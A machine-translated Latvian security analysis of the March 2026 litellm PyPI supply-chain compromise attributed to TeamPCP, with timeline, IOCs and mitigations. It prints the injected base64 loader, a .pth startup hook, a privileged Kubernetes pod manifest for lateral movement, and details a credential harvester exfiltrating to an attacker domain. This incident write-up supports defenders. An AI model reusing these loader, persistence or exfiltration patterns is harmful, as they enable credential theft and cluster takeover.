Kāpēc Tas jautājumi
2026. gada 24. martā populārā Python pakotne litellm, universāls LLM starpniekservera vārteja, ko izmanto tūkstošiem enterprises, lai maršrutētu datplūsmu starp lietojumprogrammām un mākslīgā intelekta pakalpojumu sniedzējiem, piemēram, OpenAI, Anthropic, Google un AWS Bedrock, tika klusībā kompromitēts PyPI. Divas saindētas versijas (1.82.7 un 1.82.8) tika publicētas 13 minūšu laikā viena no otras, nesot daudzpakāpju vērtumu, kas nozaga akreditācijas datus, izfiltrēja mākoņa noslēpumus, izplatījās laterāli pa Kubernetes klasteriem un instalēja pastāvīgu aizmugurējo durvju sistēmu ar attālinātas koda izpildes iespējām.
Ar aptuveni 3.6 miljoni lejupielāžu dienā un dziļa izvietošana mākoņpakalpojumos balstītā mākslīgā intelekta infrastruktūrā, litellm atrodas visa mūsdienu uzbrucēju kāroto resursu krustcelēs: API atslēgas katram lielākajam mākslīgā intelekta pakalpojumu sniedzējam, mākoņa IAM akreditācijas dati, Kubernetes noslēpumi un SSH atslēgas.
Taču Litellm kompromiss nebija atsevišķs notikums. Tas bija kulminācija. piecu dienu, piecu ekosistēmu kampaņa ar draudu izpildītāja, kas pazīstams kā TeamPCP, kampaņa, kuras ietvaros vispirms saindēja drošības skenerus (Aqua Trivy, Checkmarx KICS) un pēc tam izmantoja nozagtos CI/CD akreditācijas dati tika kaskādēti lejup pa npm, OpenVSX un visbeidzot PyPI. Uzbrucēji ieroci izmantoja tieši tos rīkus, kurus organizācijas izmanto savu piegādes ķēžu aizsardzībai.
Šis uzbrukums ir būtiska piegādes ķēdes apdraudējumu sarežģītības maiņa. Vairāku apiņu, starpekosistēmu dizains apdraud drošības rīkus, lai sasniegtu augstu vērtību. mākslīgā intelekta infrastruktūra, atspoguļo plānošanas un operacionālās brieduma līmeni, kas atbilst arvien komercializētajiem uzbrukuma rīkiem. Derīgās slodzes tika iterētas reāllaikā (avota kodā ir redzami trīs derīgās slodzes varianti, tostarp agrākās versijas ar komentāriem), C2 infrastruktūra tika reģistrēta dienu pirms uzbrukuma, un eksfiltrācijas domēni tika rūpīgi izvēlēti, lai atdarinātu likumīgu pārdevēju infrastruktūru. Sistemātiski visaptverošais akreditācijas datu apkopotājs, kas aptver vairāk nekā 15 kategorijas, tostarp nišas mērķus, piemēram, Cardano parakstīšanas atslēgas un WireGuard konfigurācijas, liecina par zināmu rūpības pakāpi, kas norāda uz mākslīgā intelekta atbalstītu ļaunprogrammatūras izstrādi kā spēka reizinātāju.
Timeline
| Datums (UTC) | notikums |
|---|---|
| marts 19 | TeamPCP uzlauž Aqua Trivy GitHub Action tagus, aizstājot tos ar ļaunprātīgu kodu, kas izfiltrējas CI/CD noslēpumi no lejupējām krātuvēm |
| marts 21 | Kompromiss attiecas arī uz Checkmarx KICS un AST GitHub darbībām, izmantojot līdzīgas metodes. |
| 22. marts, plkst. 06:35 | BerriAI publicē litellm 1.82.6 (pēdējo tīro versiju), izmantojot parasto CI/CD pipeline kas drošības skenēšanai izmanto Trivy |
| marts 23 | TeamPCP reģistrē models.litellm.cloud (eksfiltrācijas domēns). Apdraud vairāk nekā 66 npm pakotnes un OpenVSX paplašinājumus. |
| 24. marts, plkst. 10:39 | litellm 1.82.7 publicēts PyPI — lietderīgā slodze ievadīta proxy_server.py moduļa darbības jomā. Izpilda importēšanas laikā. |
| 24. marts, plkst. 10:52 | litellm 1.82.8 versija publicēta 13 minūtes vēlāk — pievienots litellm_init.pth, Python ceļa konfigurācijas āķis, kas tiek izpildīts katrā Python interpretētāja startēšanas reizē, ne tikai litelm importēšanas reizē. Parāda ātru lietderīgās slodzes iterāciju. |
| 24. marts, plkst. 16:00 | Pēc kopienas ziņojumiem PyPI noņem abas versijas. Versijas tiek pilnībā dzēstas (nevis izvilktas) no indeksa, lai gan CDN tarball faili joprojām ir pieejami. |
Iedarbības logs: aptuveni 5.5 stundas. Šajā laikā jebkurš pip install litellm, pip install --upgrade litellmvai CI/CD pipeline jaunākās versijas izvilkšana būtu izpildījusi lietderīgo slodzi.
Kā iekļuva ļaunprogrammatūra: kaskādes kompromiss
Litellm pakotne netika tieši uzlauzta. Uzbrucējs tai piekļuva, izmantojot divu lēcienu piegādes ķēdes uzbrukums:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM CI/CD pipeline izmantoja Trivy kā drošības skeneri — pats rīks, kas paredzēts ievainojamību noteikšanai, pats bija uzbrukuma vektors. Jo pipeline atsaucās uz Trivy ar maināmu tagu, nevis piespraustu commit SHA, kompromitētā darbība, tika palaista automātiski. Ļaunprātīgā Trivy darbība izvilka vides noslēpumus, tostarp PYPI_PUBLISH žetons, kas piešķir TeamPCP tiešu publicēšanas piekļuvi litellm PyPI projektam.
Šī “apdraudēt apsargus” stratēģija ir TeamPCP kampaņas raksturīga iezīme. Vispirms vēršoties pret drošības rīkiem (Trivy, Checkmarx KICS), uzbrucēji vienlaikus atspējoja atklāšanu un ieguva priviliģētu piekļuvi lejupējām piegādes ķēdēm.
Tehniskā analīze: Derīgā slodze
Injekcijas punkti
Versija 1.82.7 — Moduļu līmeņa izpilde litellm/proxy/proxy_server.py (128. rinda):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Šis kods atrodas moduļa darbības jomā starp vārdnīcas literāli un oriģinālu. showwarning() funkcija. Tā tiek izpildīta nekavējoties, kad litellm.proxy.proxy_server tiek importēts — kas notiek, lietojot litellm starpniekservera funkcionalitāti.
Versija 1.82.8 — Pievienots litellm_init.pth (Python ceļa konfigurācijas fails):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Pitons .pth faili site-packages/ tiek apstrādātas katrā interpretatora startēšanas reizē, bet tikai rindas, kas sākas ar import tiek izpildīti kā kods. Uzbrucējs to izmanto, visu vērtumu savienojot vienā import paziņojums, apgalvojums: import os, subprocess, sys; subprocess.Popen(...)Tas ir daudz agresīvāk nekā proxy_server.py injekcija — tas tiek aktivizēts pat tad, ja litelm nekad netiek importēts, katrā Python procesa palaišanas reizē. pyproject.toml tika modificēts, lai iekļautu šo failu izplatījumā:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] Tādējādi 1.82.8. versijai ir divi neatkarīgi izpildes ceļiproxy_server.py injekcija (tiek aktivizēta, importējot litelm starpniekserveri) un .pth fails (tiek aktivizēts jebkurā Python startēšanas reizē). Redundance pati par sevi ir ievērojama — tā nodrošina aizsardzību pret jebkura ceļa noteikšanu vai noņemšanu atsevišķi. Izpildes eskalācija no importēšanas laika līdz izpildes laikam tikai 13 minūtes pēc 1.82.7 versijas liecina, ka uzbrucējs uzraudzīja izvietošanas panākumus un ātri atkārtoja darbību.
1. posms: Visaptveroša akreditācijas datu ievākšana
Atšifrētais iekšējais skripts ir rūpīgs akreditācijas vakuums. Tas izmanto os.walk(), glob.glob(), subprocess.check_output()un tieši nolasa failus, lai pārbaudītu visu sistēmu:
| Kategorija | Mērķi |
|---|---|
| Sistēmas rekonstrukcija | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; resursdatora atslēgas no /etc/ssh/ |
| Mākonis (AWS) | ~/.aws/credentials, ~/.aws/configIMDS lomas akreditācijas dati, izmantojot 169.254.169.254Noslēpumu pārvaldnieks; ListSecretsSSM DescribeParameters |
| Mākonis (GCP) | ~/.config/gcloud/ (rekursīvs); $GOOGLE_APPLICATION_CREDENTIALS |
| Mākonis (Azure) | ~/.azure/ (rekursīvi); vides mainīgie |
| Kubernetes | Pakalpojuma konta žetoni; ca.crt; vārdtelpa; kubectl get secrets --all-namespaces; visi noslēpumi, izmantojot K8s API |
| Vides faili | .env, .env.local, .env.production, .env.development, .env.staging — meklēts rekursīvi (6. dziļums) pāri /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| dokers | ~/.docker/config.json, /kaniko/.docker/config.json |
| Pakotnes žetoni | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Datubāzes | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB konfigurācijas |
| TLS / SSL | Privātās atslēgas no /etc/ssl/private/, Šifrēsim sertifikātus, visus .pem/.key/.p12/.pfx faili |
| Git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Kripto maki | Bitcoin, Ethereum atslēgu glabātuve, Solana atslēgu pāri (validators, balsojums, likme, krāns), Cardano parakstīšanas atslēgas, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Čaumalas vēsture | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Sistēmas autorizācija | /etc/passwd, /etc/shadow, autorizācijas žurnāli (pieņemtās SSH sesijas) |
| Webhook/API atslēgas | Grep Slack tīmekļa vietneihooks, Discord tīmeklishooksAPI atslēgas/noslēpumi konfigurācijas failos |
| VPN | WireGuard konfigurācijas no /etc/wireguard/ |
Šī apkopotāja darbības joma ir enciklopēdiska. Tas aptver ne tikai mākoņa akreditācijas datus, bet arī kriptovalūtas makus, datubāzu paroles, VPN konfigurācijas un… CI/CD noslēpumi, kas liecina, ka uzbrucējs plāno gūt peļņu no kompromitētām sistēmām vairākos vektoros.
2. posms: šifrēta eksfiltrācija
Nozagtie dati tiek šifrēti un izgūti, izmantojot hibrīda šifrēšanas shēmu:
- AES-256-CBC visu apkopoto datu šifrēšana ar nejaušu 32 baitu sesijas atslēgu (izmantojot
openssl enc) - RSA-4096 sesijas atslēgas šifrēšana, izmantojot uzbrucēja iegulto publisko atslēgu (OAEP papildināšana, izmantojot
openssl pkeyutl) - Abi šifrteksta faili ir apvienoti kā
tpcp.tar.gz(tpcpprefikss — “TeamPCP” — tiek parādīts konsekventi visā kampaņā) - HTTPS POST uz
https://models.litellm.cloud/arContent-Type: application/octet-stream
Domēns models.litellm.cloud tika reģistrēta 23. martā — dienu pirms uzbrukuma — un ir paredzēta saplūšanai ar likumīgu litelm infrastruktūru (īstais projekts izmanto litellm.aiPat tīkla apzinīgs aizsargs, kas pārskata izejošo datplūsmu, var neatzīmēt datplūsmu uz to, kas šķietami ir litellm paša modeļa galapunkts.
3. posms: Pastāvīga aizmugures durvju (sysmon.py)
Komerciālā slodze instalē aptaujas aizmugurējo durvju sistēmu, kas maskēta kā sistēmas telemetrija:
- taka:
~/.config/sysmon/sysmon.py - Serviss:
sysmon.service(systemd lietotāja vienība, aprakstīta kā “Sistēmas telemetrijas pakalpojums”) - UzvedībaPēc sākotnējā 300 sekunžu miega aptaujas
https://checkmarx.zone/rawik pēc ~50 minūtēm - Izpildīšana: Lejupielādē C2 atgriezto URL uz
/tmp/pglog, iestata to izpildāmu (chmod 755), palaiž to atdalītā sesijā - Valsts izsekošana:
/tmp/.pg_stateneļauj atkārtoti lejupielādēt to pašu lietderīgo slodzi - Neatlaidība:
Restart=always,RestartSec=10— pārdzīvo avārijas un pārstartēšanu
Domēns checkmarx.zone ir Checkmarx (drošības uzņēmuma vietnē) typosquat checkmarx.com), kas izstrādāts tā, lai SOC analītiķi, pārskatot tīkla žurnālus, redzētu datplūsmu uz šķietami likumīgu drošības pakalpojumu sniedzēju. Šī ir apzināta izvairīšanās tehnika, kas atbilst TeamPCP plašākai stratēģijai slēpties aiz drošības pakalpojumu sniedzēja zīmola.
3.b posms: Kubernetes sānu kustība
Ja apdraudētajai sistēmai ir Kubernetes pakalpojuma konta akreditācijas dati, ļaunprogrammatūra uzskaita visus klastera mezglus un izvieto tos. privileģētās pākstis katram no tiem:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Katrs pāksts:
- Darbojas kā priviliģēts ar
hostPID,hostNetworkun pilnīga piekļuve resursdatora failu sistēmai - Izmanto
chroot /hostlai uzstādītu to pašusysmon.pyaizmugurējās durvis resursdatora saknes failu sistēmā - Reģistrē to kā systemd pakalpojumu, nodrošinot, ka saglabāšana saglabājas arī pēc pod dzēšanas.
- nosaukts
node-setup-*iekškube-systemnosaukumtelpai, lai tā tiktu parādīta kā likumīga klastera infrastruktūra
Tas nozīmē viens apdraudēts CI/CD skrējējs ar K8 piekļuvi varētu izraisīt katra klastera mezgla aizmugures piekļuvi — katastrofāls sānu kustības scenārijs organizācijām, kas Kubernetes vidē kā starpniekserveri izmanto litellm.
Derīgās slodzes evolūcija (komentēti varianti)
Avota kods 131.–132. rindā satur divus komentētus agrākus lietderīgās slodzes variantus, kas atklāj uzbrucēja izstrādes procesu:
- Visi trīs varianti koplieto vienu un to pašu eksfiltrācijas infrastruktūru (
models.litellm.cloud), RSA-4096 publiskā atslēga, AES-256-CBC + RSA hibrīda šifrēšanas apvalks untpcp.tar.gzsaišķu nosaukšana - Agrāki varianti pievienoja RC4 šifrēšanas slānis datu vākšanas skripta iekšpusē, šifrējot ievāktos datus pirms ārējā AES+RSA apvalka. Aktīvā lietderīgā slodze (130. rinda) tika vienkāršota, noņemot šo iekšējo RC4 slāni.
- Iepriekšējās variācijas izmanto
exec()arStringIOuztveršana, lai palaistu kolektoru procesa laikā, kamēr aktīvā lietderīgā slodze izmantosubprocess.run()ar standarta izejas pāradresāciju — tīrāku atdalīšanu, kas novērš saimniekprocesa piesārņošanu - Visi trīs varianti ir vērsti uz vienām un tām pašām akreditācijas datu kategorijām un apkopošanas ceļiem.
- RC4 atslēga iepriekšējos variantos bija provokatīvs apvainojums, kas atbilda aktiera uzmanības piesaistīšanas uzvedībai pakalpojumā Telegram.
Tas atklāj aktīvu izstrādi operācijas laikā. Uzbrucējs vienkāršoja šifrēšanas steku un uzlaboja izpildes izolāciju, vienlaikus saglabājot savākšanas mērķu un eksfiltrācijas infrastruktūras stabilitāti.
Kompromisa rādītāji (IOC)
tīkls
| Indikators | Veids | Nolūks |
|---|---|---|
models.litellm.cloud | Domēns | Eksfiltrācijas galapunkts (HTTPS POST) |
checkmarx.zone | Domēns | C2 aptaujas galapunkts (HTTPS GET /raw) |
Piezīme: Ārējo pārskatu saites checkmarx.zone/static/checkmarx-util-1.0.4.tgz uz agrāko TeamPCP kampaņas KICS fāzi. Šis URL netika atrasts šeit analizētajās litellm vērtajās slodzēs.
Pakotņu jaucējkodas
| fileja | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Failu sistēmas
| Indikators | Veids | Nolūks |
|---|---|---|
~/.config/sysmon/sysmon.py | fileja | Pastāvīgs aizmugurējo durvju skripts |
~/.config/systemd/user/sysmon.service | fileja | Systemd noturības vienība |
/tmp/pglog | fileja | Lejupielādēts otrās pakāpes binārais fails |
/tmp/.pg_state | fileja | C2 stāvokļa izsekošana |
litellm_init.pth in site-packages/ | fileja | Python startēšanas āķis (tikai 1.82.8. versija) |
tpcp.tar.gz | fileja | Šifrēta eksfiltrācijas pakete |
Kubernetes
| Indikators | Veids | Nolūks |
|---|---|---|
node-setup-* pākstis iekšā kube-system | Pāksts | Privileģētas sānu kustības pākstis |
sysmon.service klastera mezglos | Serviss | Saimniekdatora līmeņa noturība, izmantojot pod escape |
Kriptogrāfisks
| Indikators | Sīkāka informācija |
|---|---|
| Uzbrucēja RSA-4096 publiskā atslēga | SHA256 pirkstu nospiedums: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Iegults visos trijos lietderīgās slodzes variantos; tā pati atslēga tiek ziņota visās TeamPCP operācijās. |
tpcp prefikss artefaktos | Pakotņu nosaukumu noteikšanas konvencija (tpcp.tar.gz) konsekventi visā kampaņā |
Atribūcija: TeamPCP
Šīs kampaņas apdraudējuma izpildītājs tiek izsekots kā TeamPCP, pazīstams arī kā PCPcat, Persy_PCP, ShellForce un DeadCatx3.
Zināmas īpašības:
- Uztur Telegram kanālus vietnē
@Persy_PCPun@teampcpkur viņi izsmēja apsardzes firmas - Darbojas vairākās ekosistēmās (GitHub Actions, PyPI, npm, OpenVSX)
- Katrai kampaņas fāzei izmanto pārdevējam specifiskus typosquat domēnus (piemēram,
checkmarx.zoneCheckmarx vajadzībāmmodels.litellm.cloud(litellm) - Konsekventi infrastruktūras marķieri: viens un tas pats RSA atslēgu pāris,
tpcp.tar.gznosaukumu piešķiršanas konvencija,tpcp-docs-*GitHub repozitoriji, kas tiek izmantoti kā nelietojamas izstrādes vietas - Drošības rīki tiek izmantoti kā ieejas punkti lejupējās piegādes ķēdēs
Atribūcijas ticamībaAugsts. Koplietotā RSA publiskā atslēga, tpcp Artefaktu nosaukšana, C2 infrastruktūras pārklāšanās un darbības temps piecu dienu kampaņas laikā cieši saista Trivy, KICS, npm, OpenVSX un litellm kompromisus ar vienu un to pašu dalībnieku.
MotivācijaIespējama finansiāla ietekme (kriptovalūtu maka zādzība, akreditācijas datu monetizācija mākonī) apvienojumā ar slavu (Telegram izsmiešana). Akreditācijas datu ievākšanas plašums — sākot no AWS IAM līdz Solana validatora atslēgu pāriem un WireGuard konfigurācijām — liecina par finansiāli motivētu dalībnieku, kurš cenšas maksimāli palielināt ieguldījumu atdevi no katras kompromitēšanas.
Iespējama mākslīgā intelekta palīdzībaAkreditācijas datu apkopotājs ir sistemātiski visaptverošs — vairāk nekā 15 kategorijas, tostarp nišas mērķi, piemēram, Cardano parakstīšanas atslēgas, WireGuard konfigurācijas un Kaniko Docker akreditācijas dati — tādā veidā, kas atbilst mākslīgā intelekta atbalstītai uzskaitīšanai. Derīgās slodzes iterācijas ātrums (trīs varianti ar dažādām šifrēšanas shēmām), starpekosistēmu koordinācija (5 ekosistēmas 5 dienās) un operatīvais OPSEC (pārdevēju personificējošie domēni, hibrīda šifrēšana, systemd noturība, kas maskēta kā telemetrija) liecina par caurlaidspējas līmeni, kas varētu atspoguļot mākslīgā intelekta atbalstītu izstrādi kā spēka reizinātāju. Šis novērtējums ir spekulatīvs; prasmīgi operatori varētu sasniegt līdzīgu darbības jomu bez mākslīgā intelekta rīkiem.
Jauni TTP un paņēmieni
1. Drošības rīka piegādes ķēdes saindēšanās (T1195.002 variants)
Drošības skeneru (Trivy, KICS) kompromitēšana kā pirmais solis lejupējo mērķu sasniegšanai ir jauna eskalācija. Uzbrucējs ne tikai kompromitēja bibliotēku — viņš kompromitēja rīkus, ko organizācijas izmanto, lai atklāt kompromitētas bibliotēkas. Tas rada aklo zonu: skeneris, kuram vajadzētu uztvert ļaunprātīgo kodu, pats ir piegādes mehānisms.
2 Pitons .pth Faila saglabāšana (T1546)
The litellm_init.pth v1.82.8 versijā izmantotā metode ir īpaši mānīga. Python .pth faili site-packages/ tiek apstrādātas katrā interpretatora startēšanas reizē; jebkura rinda, kas sākas ar import tiek izpildīts kā kods. Pievienojot lietderīgo slodzi vienam import apgalvojums, uzbrucējs panāk izpildi katrā Python procesā — ne tikai tad, kad tiek importēts litelm. Tas nozīmē, ka lietderīgā slodze tiek aktivizēta pat tad, ja litelm ir instalēts, bet nekad netiek izmantots, un tā izdzīvo labojumus, kas aizstāj apdraudēto .py failus, nepārbaudot .pth faili.
3. Kubernetes klastera mēroga sānu kustība, izmantojot privileģētu Pod izvietošanu (T1610, T1611)
Privileģētu podu automatizēta izveide katrā klastera mezglā — ar hostPID, hostNetwork, resursdatora failu sistēmas piestiprināšana un chroot lai instalētu persistence — chains konteineru izvietošanu (T1610) ar iziešanas komandu uz resursdatoru (T1611), lai vienu apdraudētu darba slodzi pārvērstu par pilnīgu klastera kompromitāciju.
4. Pārdevēja C2 infrastruktūras imitācija
Izmantojot models.litellm.cloud (atdarina litellm) un checkmarx.zone (atdarina Checkmarx) kā C2/exfil galapunktus, kas ir izstrādāti, lai apietu tīkla uzraudzību. SOC analītiķi, pārskatot izejošo trafiku, redzētu HTTPS savienojumus ar šķietami likumīgiem pārdevēju domēniem.
5. Ātra lietderīgās slodzes iterācija lidojuma laikā
Publicējot 1.82.7. versiju ar importēšanas laika izpildi un pēc tam 13 minūtes vēlāk publicējot 1.82.8. versiju ar startēšanas laika izpildi, uzbrucējs veic uzraudzību un pielāgošanos reāllaikā. Avota kodā saglabātie komentētie lietderīgās slodzes varianti (ar dažādām šifrēšanas shēmām) apstiprina aktīvu izstrādi operācijas laikā.
Ko var darīt
Šis uzbrukums izmanto uzticēšanos visos līmeņos: uzticēšanos drošības rīkiem, uzticēšanos pakotņu reģistriem, uzticēšanos pazīstami izskatīgiem domēniem, uzticēšanos CI/CD automatizācija. Lai pret to aizsargātos, ir jānostiprina katra no šīm uzticības robežām:
Iepakojuma patērētājiem
- Piespraust atkarības pēc jaucējkoda, ne tikai pēc versijas.
pip install litellm==1.82.6 --hash=sha256:...būtu novērsis apdraudēto versiju instalēšanu pat tad, ja tās īslaicīgi parādītos kā jaunākā versija. - Izmantojiet bloķēšanas failus.
pip-compile,poetry.lock, unuv.lockuztvert precīzas versijas un jaucējkodas. CI/CD vajadzētu instalēt no bloķēšanas failiem, nevis no peldošajiem versiju specifikatoriem. - Monitor par
.pthfaili. Regulāri veikt revīzijusite-packages/par negaidītu.pthfaili — tie tiek izpildīti katrā Python startēšanas reizē un ir nenovērtēts noturības mehānisms. - Ieviest izejošā tīkla vadīklas. Eksfiltrācija uz
models.litellm.cloudun C2 aptaujas veikšanacheckmarx.zonevarētu būt notverts, izmantojot uz atļauju sarakstu balstītu izejošo datu filtrēšanu ražošanas vidē.
Pakotņu uzturētājiem
- tapa CI/CD darbības, ko veicis commit SHA, nevis birka. LiteLLM pipeline izmantoja Trivy bez piespraustas versijas. Ja tajā būtu atsauce
aquasecurity/trivy-action@<commit-sha>vietā@latest, kompromitētā darbība nebūtu izpildīta. - Izmantojiet īslaicīgas, ierobežotas publicēšanas pilnvaras. PyPI atbalsta uzticamus izdevējus (OIDC bāzes) un tvēruma API žetonus. Izfiltrētais
PYPI_PUBLISHTokenam nevajadzēja būt ilgstošai, neierobežotai publicēšanas piekļuvei. - Iespējojiet divfaktoru autentifikāciju pakalpojumā PyPI. Pieprasiet 2FA visiem uzturētājiem un, ja iespējams, izmantojiet aparatūras drošības atslēgas.
- Parakstīt paketes. Sigstore/PEP 740 apliecinājumi ļauj patērētājiem pārliecināties, ka pakotne ir izveidota paredzētajā laikā. CI/CD pipeline, nevis uzbrucējs ar nozagtu žetonu.
Platformu operatoriem (PyPI, npm, GitHub)
- Atklāt anomālus publicēšanas modeļus. Divām jaunām versijām, kas publicētas ar 13 minūšu starplaiku no citas IP adreses vai tokena nekā parasti, vajadzētu aktivizēt gaidīšanu pārskatīšanai vai automātisku skenēšanu, pirms pakotne kļūst instalējama.
- Paātrināt uzticamo izdevēju ieviešanu. Uz OIDC balstīta publicēšana saista pakotnes ar konkrētām krātuvēm un darbplūsmām, padarot nozagtas žetonus nelietojamus ārpus oriģināla. CI/CD konteksts.
- Ieviest ļaunprogrammatūras skenēšanu publicēšanas laikā. Ar base64 dekodēto lietderīgo slodzi proxy_server.py failā varētu noteikt ar statisko analīzi publicēšanas laikā.
Ekosistēmai
- Uztveriet drošības rīkus kā kritisko infrastruktūru. Trivy un Checkmarx KICS izmanto miljoniem cilvēku pipelines. Viņu GitHub darbības ir jāparaksta, jāpiesprauž un jāuzrauga ar tādu pašu stingrību kā pakotnes, kuras tie skenē.
- Investējiet izpildlaika noteikšanā. Ar statisko analīzi vien nevar aptvert visas apmulsināšanas metodes. Pakotnes instalēšanas izpildlaika uzraudzība hooks, negaidīti tīkla savienojumi un aizdomīgi failu piekļuves modeļi nodrošina padziļinātu aizsardzību.
- Ātrāk kopīgojiet informāciju par apdraudējumiem. Litellm 5.5 stundu iedarbības logs varētu būt īsāks, ja tiktu nodrošināta ātrāka starppārdevēju koordinācija. Automatizēti skenēšanas pakalpojumi, piemēram, Xygeni MEW, Socket un Snyk, atklāja anomāliju — vājā vieta ir cilvēka apstiprinājums un reģistra reakcijas laiks.
Secinājumi
TeamPCP kampaņa ir pagrieziena punkts software supply chain securityVispirms apdraudot drošības skenerus un izmantojot tos kā tramplīnu uz augstas vērtības mākslīgā intelekta infrastruktūru, uzbrucēji nodemonstrēja, ka piegādes ķēde ir tikpat spēcīga, cik spēcīga ir tās vājākā pārejošā atkarība, un šī atkarība varētu būt drošības rīks, kuram uzticaties, lai nodrošinātu savu drošību.
Litellm kompromiss īpaši uzsver pieaugošo risku mākslīgā intelekta infrastruktūrai. Tā kā LLM starpniekservera vārtejas kļūst par... standard paraugs priekš enterprise Ieviešot mākslīgo intelektu, viņi koncentrē piekļuvi API atslēgām, mākoņa akreditācijas datiem un sensitīviem datiem vienā komponentā. Šī komponenta kompromitēšana ir visa mākslīgā intelekta steka skeleta atslēga.
Organizācijām, kas 5.5 stundu laikā instalēja litellm 1.82.7 vai 1.82.8 versiju, tas jāuztver kā pilnīgs akreditācijas datu kompromiss: jāmaina visi slepenie dati skartajās sistēmās, jāveic Kubernetes klasteru audits, lai noteiktu node-setup-* pākstis iekšā kube-system, noņemiet jebkuru sysmon.service systemd vienības un pārbaudiet litellm_init.pth Python valodā site-packages/ direktoriji. Oficiālā Docker attēla lietotāji (ghcr.io/berriai/litellm) netika ietekmētas, jo attēls piesaistīja savas atkarības un ekspozīcijas loga laikā netika atjaunots.
par autoru
Līdzdibinātājs un CTO
Luiss Rodrigess ir Xygeni Security līdzdibinātājs un tehnoloģiju direktors. Ar vairāk nekā 20 gadu pieredzi lietojumprogrammu drošības jomā viņš koncentrējas uz lietotņu drošības aizsardzību un uzlabotām koda analīzes iespējām, kas palīdz komandām samazināt reālu piegādes risku.




